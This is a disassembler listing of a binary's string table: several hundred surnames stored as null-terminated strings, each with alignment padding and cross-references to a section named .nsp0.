aSeeber		db 'Seeber',0           ; DATA XREF: .nsp0:0043191Co
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: .nsp0:00431918o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: .nsp0:00431914o
aScovel		db 'Scovel',0           ; DATA XREF: .nsp0:00431910o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: .nsp0:0043190Co
aSchwan		db 'Schwan',0           ; DATA XREF: .nsp0:00431908o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: .nsp0:00431904o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: .nsp0:00431900o
aSchuman	db 'Schuman',0          ; DATA XREF: .nsp0:004318FCo
aSchossberger	db 'Schossberger',0     ; DATA XREF: .nsp0:004318F8o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: .nsp0:004318F4o
aSchilling	db 'Schilling',0        ; DATA XREF: .nsp0:004318F0o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: .nsp0:004318ECo
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: .nsp0:004318E8o
aScheiner	db 'Scheiner',0         ; DATA XREF: .nsp0:004318E4o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .nsp0:004318E0o
aScharf		db 'Scharf',0           ; DATA XREF: .nsp0:004318DCo
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: .nsp0:004318D8o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: .nsp0:004318D4o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: .nsp0:004318D0o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: .nsp0:004318CCo
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .nsp0:004318C8o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: .nsp0:004318C4o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: .nsp0:004318C0o
		align 4
aSase		db 'Sase',0             ; DATA XREF: .nsp0:004318BCo
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: .nsp0:004318B8o
aSarin		db 'Sarin',0            ; DATA XREF: .nsp0:004318B4o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: .nsp0:004318B0o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: .nsp0:004318ACo
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .nsp0:004318A8o
aSamson		db 'Samson',0           ; DATA XREF: .nsp0:004318A4o
		align 4
aSali		db 'Sali',0             ; DATA XREF: .nsp0:004318A0o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: .nsp0:0043189Co
		align 4
aSafire		db 'Safire',0           ; DATA XREF: .nsp0:00431898o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: .nsp0:00431894o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: .nsp0:00431890o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: .nsp0:0043188Co
aRush_0		db 'Rush',0             ; DATA XREF: .nsp0:00431888o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: .nsp0:00431884o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: .nsp0:00431880o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: .nsp0:0043187Co
		align 4
aRu		db 'Ru',0               ; DATA XREF: .nsp0:00431878o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: .nsp0:00431874o
		align 10h
aRow		db 'Row',0              ; DATA XREF: .nsp0:00431870o
aRonen		db 'Ronen',0            ; DATA XREF: .nsp0:0043186Co
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: .nsp0:00431868o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: .nsp0:00431864o
aRocha		db 'Rocha',0            ; DATA XREF: .nsp0:00431860o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: .nsp0:0043185Co
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: .nsp0:00431858o
		align 4
aRish		db 'Rish',0             ; DATA XREF: .nsp0:00431854o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: .nsp0:00431850o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: .nsp0:0043184Co
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: .nsp0:00431848o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: .nsp0:00431844o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: .nsp0:00431840o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: .nsp0:0043183Co
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: .nsp0:00431838o
aRenick		db 'Renick',0           ; DATA XREF: .nsp0:00431834o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: .nsp0:00431830o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: .nsp0:0043182Co
aCunningham	db 'Cunningham',0       ; DATA XREF: .nsp0:00431828o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: .nsp0:00431824o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .nsp0:00431820o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: .nsp0:0043181Co
aRapple		db 'Rapple',0           ; DATA XREF: .nsp0:00431818o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: .nsp0:00431814o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: .nsp0:00431810o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: .nsp0:0043180Co
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .nsp0:00431808o
aRadeke		db 'Radeke',0           ; DATA XREF: .nsp0:00431804o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: .nsp0:00431800o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: .nsp0:004317FCo
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: .nsp0:004317F8o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: .nsp0:004317F4o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: .nsp0:004317F0o
aPugh		db 'Pugh',0             ; DATA XREF: .nsp0:004317ECo
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: .nsp0:004317E8o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .nsp0:004317E4o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: .nsp0:004317E0o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: .nsp0:004317DCo
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: .nsp0:004317D8o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: .nsp0:004317D4o
aPreucel	db 'Preucel',0          ; DATA XREF: .nsp0:004317D0o
aPresper	db 'Presper',0          ; DATA XREF: .nsp0:004317CCo
aPowers		db 'Powers',0           ; DATA XREF: .nsp0:004317C8o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: .nsp0:004317C4o
aPoma		db 'Poma',0             ; DATA XREF: .nsp0:004317C0o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: .nsp0:004317BCo
aPolanyi	db 'Polanyi',0          ; DATA XREF: .nsp0:004317B8o
aPolak		db 'Polak',0            ; DATA XREF: .nsp0:004317B4o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: .nsp0:004317B0o
aPointer	db 'Pointer',0          ; DATA XREF: .nsp0:004317ACo
aPoincaire	db 'Poincaire',0        ; DATA XREF: .nsp0:004317A8o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: .nsp0:004317A4o
		align 10h
aPo		db 'Po',0               ; DATA XREF: .nsp0:004317A0o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: .nsp0:0043179Co
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: .nsp0:00431798o
aPlant		db 'Plant',0            ; DATA XREF: .nsp0:00431794o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: .nsp0:00431790o
aPinot		db 'Pinot',0            ; DATA XREF: .nsp0:0043178Co
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .nsp0:00431788o
aPfister	db 'Pfister',0          ; DATA XREF: .nsp0:00431784o
aPettit		db 'Pettit',0           ; DATA XREF: .nsp0:00431780o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: .nsp0:0043177Co
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: .nsp0:00431778o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: .nsp0:00431774o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: .nsp0:00431770o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: .nsp0:0043176Co
		align 4
aPerna		db 'Perna',0            ; DATA XREF: .nsp0:00431768o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: .nsp0:00431764o
aPerlak		db 'Perlak',0           ; DATA XREF: .nsp0:00431760o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: .nsp0:0043175Co
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: .nsp0:00431758o
aPenny		db 'Penny',0            ; DATA XREF: .nsp0:00431754o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: .nsp0:00431750o
aPederson	db 'Pederson',0         ; DATA XREF: .nsp0:0043174Co
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .nsp0:00431748o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: .nsp0:00431744o
aPaynter	db 'Paynter',0          ; DATA XREF: .nsp0:00431740o
aPawloski	db 'Pawloski',0         ; DATA XREF: .nsp0:0043173Co
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: .nsp0:00431738o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: .nsp0:00431734o
aPattullo	db 'Pattullo',0         ; DATA XREF: .nsp0:00431730o
		align 10h
aPatrick_0	db 'Patrick',0          ; DATA XREF: .nsp0:0043172Co
aPatefield	db 'Patefield',0        ; DATA XREF: .nsp0:00431728o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: .nsp0:00431724o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: .nsp0:00431720o
		align 4
aParris		db 'Parris',0           ; DATA XREF: .nsp0:0043171Co
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: .nsp0:00431718o
aPaoletti	db 'Paoletti',0         ; DATA XREF: .nsp0:00431714o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: .nsp0:00431710o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: .nsp0:0043170Co
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: .nsp0:00431708o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: .nsp0:00431704o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: .nsp0:00431700o
aPalepu		db 'Palepu',0           ; DATA XREF: .nsp0:004316FCo
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: .nsp0:004316F8o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: .nsp0:004316F4o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: .nsp0:004316F0o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: .nsp0:004316ECo
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: .nsp0:004316E8o
aOtten		db 'Otten',0            ; DATA XREF: .nsp0:004316E4o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: .nsp0:004316E0o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: .nsp0:004316DCo
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: .nsp0:004316D8o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: .nsp0:004316D4o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: .nsp0:004316D0o
aOray		db 'Oray',0             ; DATA XREF: .nsp0:004316CCo
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: .nsp0:004316C8o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: .nsp0:004316C4o
aOman		db 'Oman',0             ; DATA XREF: .nsp0:004316C0o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: .nsp0:004316BCo
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: .nsp0:004316B8o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: .nsp0:004316B4o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: .nsp0:004316B0o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: .nsp0:004316ACo
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: .nsp0:004316A8o
aOh		db 'Oh',0               ; DATA XREF: .nsp0:004316A4o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: .nsp0:004316A0o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: .nsp0:0043169Co
aNuzum		db 'Nuzum',0            ; DATA XREF: .nsp0:00431698o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: .nsp0:00431694o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: .nsp0:00431690o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: .nsp0:0043168Co
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: .nsp0:00431688o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: .nsp0:00431684o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: .nsp0:00431680o
		align 4
aNg		db 'Ng',0               ; DATA XREF: .nsp0:0043167Co
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: .nsp0:00431678o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: .nsp0:00431674o
aNeuman		db 'Neuman',0           ; DATA XREF: .nsp0:00431670o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: .nsp0:0043166Co
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: .nsp0:00431668o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: .nsp0:00431664o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: .nsp0:00431660o
aNaviaux	db 'Naviaux',0          ; DATA XREF: .nsp0:0043165Co
aNardone	db 'Nardone',0          ; DATA XREF: .nsp0:00431658o
aNardi		db 'Nardi',0            ; DATA XREF: .nsp0:00431654o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: .nsp0:00431650o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: .nsp0:0043164Co
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: .nsp0:00431648o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: .nsp0:00431644o
aMulroy		db 'Mulroy',0           ; DATA XREF: .nsp0:00431640o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: .nsp0:0043163Co
aMugnai		db 'Mugnai',0           ; DATA XREF: .nsp0:00431638o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: .nsp0:00431634o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: .nsp0:00431630o
aMotooka	db 'Motooka',0          ; DATA XREF: .nsp0:0043162Co
aMostafavi	db 'Mostafavi',0        ; DATA XREF: .nsp0:00431628o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: .nsp0:00431624o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: .nsp0:00431620o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: .nsp0:0043161Co
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: .nsp0:00431618o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: .nsp0:00431614o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: .nsp0:00431610o
aMorani		db 'Morani',0           ; DATA XREF: .nsp0:0043160Co
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: .nsp0:00431608o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: .nsp0:00431604o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: .nsp0:00431600o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: .nsp0:004315FCo
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: .nsp0:004315F8o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: .nsp0:004315F4o
aModestino	db 'Modestino',0        ; DATA XREF: .nsp0:004315F0o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: .nsp0:004315ECo
aMittal		db 'Mittal',0           ; DATA XREF: .nsp0:004315E8o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: .nsp0:004315E4o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: .nsp0:004315E0o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: .nsp0:004315DCo
aMini		db 'Mini',0             ; DATA XREF: .nsp0:004315D8o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: .nsp0:004315D4o
		align 4
aMills		db 'Mills',0            ; DATA XREF: .nsp0:004315D0o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: .nsp0:004315CCo
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: .nsp0:004315C8o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: .nsp0:004315C4o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: .nsp0:004315C0o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: .nsp0:004315BCo
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: .nsp0:004315B8o
aMerz		db 'Merz',0             ; DATA XREF: .nsp0:004315B4o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: .nsp0:004315B0o
aMerminod	db 'Merminod',0         ; DATA XREF: .nsp0:004315ACo
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: .nsp0:004315A8o
aMerikoski	db 'Merikoski',0        ; DATA XREF: .nsp0:004315A4o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: .nsp0:004315A0o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: .nsp0:0043159Co
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: .nsp0:00431598o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: .nsp0:00431594o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: .nsp0:00431590o
aMclaren	db 'Mclaren',0          ; DATA XREF: .nsp0:0043158Co
aMclane		db 'Mclane',0           ; DATA XREF: .nsp0:00431588o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: .nsp0:00431584o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: .nsp0:00431580o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: .nsp0:0043157Co
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: .nsp0:00431578o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: .nsp0:00431574o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: .nsp0:00431570o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: .nsp0:0043156Co
aMcdowell	db 'Mcdowell',0         ; DATA XREF: .nsp0:00431568o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: .nsp0:00431564o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: .nsp0:00431560o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: .nsp0:0043155Co
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: .nsp0:00431558o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: .nsp0:00431554o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: .nsp0:00431550o
aMay		db 'May',0              ; DATA XREF: .nsp0:0043154Co
aMauzy		db 'Mauzy',0            ; DATA XREF: .nsp0:00431548o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: .nsp0:00431544o
aMatsukata	db 'Matsukata',0        ; DATA XREF: .nsp0:00431540o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: .nsp0:0043153Co
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: .nsp0:00431538o
aMass		db 'Mass',0             ; DATA XREF: .nsp0:00431534o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: .nsp0:00431530o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: .nsp0:0043152Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: .nsp0:00431528o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: .nsp0:00431524o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: .nsp0:00431520o
aMargetts	db 'Margetts',0         ; DATA XREF: .nsp0:0043151Co
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: .nsp0:00431518o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: .nsp0:00431514o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: .nsp0:00431510o
		align 4
aMarch		db 'March',0            ; DATA XREF: .nsp0:0043150Co
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: .nsp0:00431508o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: .nsp0:00431504o
aMandel		db 'Mandel',0           ; DATA XREF: .nsp0:00431500o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: .nsp0:004314FCo
aMalova		db 'Malova',0           ; DATA XREF: .nsp0:004314F8o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: .nsp0:004314F4o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: .nsp0:004314F0o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: .nsp0:004314ECo
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: .nsp0:004314E8o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: .nsp0:004314E4o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: .nsp0:004314E0o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: .nsp0:004314DCo
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: .nsp0:004314D8o
aMacy		db 'Macy',0             ; DATA XREF: .nsp0:004314D4o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: .nsp0:004314D0o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: .nsp0:004314CCo
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: .nsp0:004314C8o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: .nsp0:004314C4o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: .nsp0:004314C0o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: .nsp0:004314BCo
		align 4
aMa		db 'Ma',0               ; DATA XREF: .nsp0:004314B8o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: .nsp0:004314B4o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: .nsp0:004314B0o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: .nsp0:004314ACo
aLuoma		db 'Luoma',0            ; DATA XREF: .nsp0:004314A8o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: .nsp0:004314A4o
aLuecke		db 'Luecke',0           ; DATA XREF: .nsp0:004314A0o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: .nsp0:0043149Co
aLuciano	db 'Luciano',0          ; DATA XREF: .nsp0:00431498o
aLucas		db 'Lucas',0            ; DATA XREF: .nsp0:00431494o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: .nsp0:00431490o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: .nsp0:0043148Co
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: .nsp0:00431488o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: .nsp0:00431484o
aLoss		db 'Loss',0             ; DATA XREF: .nsp0:00431480o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: .nsp0:0043147Co
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: .nsp0:00431478o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: .nsp0:00431474o
aLivolsi	db 'Livolsi',0          ; DATA XREF: .nsp0:00431470o
aLivi		db 'Livi',0             ; DATA XREF: .nsp0:0043146Co
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: .nsp0:00431468o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: .nsp0:00431464o
		align 4
aLittle		db 'Little',0           ; DATA XREF: .nsp0:00431460o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: .nsp0:0043145Co
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: .nsp0:00431458o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: .nsp0:00431454o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: .nsp0:00431450o
aLine		db 'Line',0             ; DATA XREF: .nsp0:0043144Co
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: .nsp0:00431448o
		align 4
aLinda_0	db 'Linda',0            ; DATA XREF: .nsp0:00431444o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: .nsp0:00431440o
aLim		db 'Lim',0              ; DATA XREF: .nsp0:0043143Co
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .nsp0:00431438o
		align 4
aLight_0	db 'Light',0            ; DATA XREF: .nsp0:00431434o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: .nsp0:00431430o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: .nsp0:0043142Co
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: .nsp0:00431428o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: .nsp0:00431424o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: .nsp0:00431420o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .nsp0:0043141Co
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: .nsp0:00431418o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: .nsp0:00431414o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: .nsp0:00431410o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: .nsp0:0043140Co
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: .nsp0:00431408o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: .nsp0:00431404o
aLashley	db 'Lashley',0          ; DATA XREF: .nsp0:00431400o
aLaserna	db 'Laserna',0          ; DATA XREF: .nsp0:004313FCo
aLanzit		db 'Lanzit',0           ; DATA XREF: .nsp0:004313F8o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: .nsp0:004313F4o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: .nsp0:004313F0o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: .nsp0:004313ECo
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: .nsp0:004313E8o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: .nsp0:004313E4o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: .nsp0:004313E0o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: .nsp0:004313DCo
aLa		db 'La',0               ; DATA XREF: .nsp0:004313D8o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .nsp0:004313D4o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: .nsp0:004313D0o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: .nsp0:004313CCo
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .nsp0:004313C8o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .nsp0:004313C4o
aKroemer	db 'Kroemer',0          ; DATA XREF: .nsp0:004313C0o
aKraus		db 'Kraus',0            ; DATA XREF: .nsp0:004313BCo
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: .nsp0:004313B8o
aKrailo		db 'Krailo',0           ; DATA XREF: .nsp0:004313B4o
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: .nsp0:004313B0o
aKovaks		db 'Kovaks',0           ; DATA XREF: .nsp0:004313ACo
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: .nsp0:004313A8o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: .nsp0:004313A4o
		align 4
aKool		db 'Kool',0             ; DATA XREF: .nsp0:004313A0o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: .nsp0:0043139Co
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: .nsp0:00431398o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: .nsp0:00431394o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .nsp0:00431390o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: .nsp0:0043138Co
		align 4
aKoch		db 'Koch',0             ; DATA XREF: .nsp0:00431388o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: .nsp0:00431384o
aKnuff		db 'Knuff',0            ; DATA XREF: .nsp0:00431380o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: .nsp0:0043137Co
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .nsp0:00431378o
aKling		db 'Kling',0            ; DATA XREF: .nsp0:00431374o
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: .nsp0:00431370o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .nsp0:0043136Co
aKleiman	db 'Kleiman',0          ; DATA XREF: .nsp0:00431368o
aKleckner	db 'Kleckner',0         ; DATA XREF: .nsp0:00431364o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: .nsp0:00431360o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: .nsp0:0043135Co
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .nsp0:00431358o
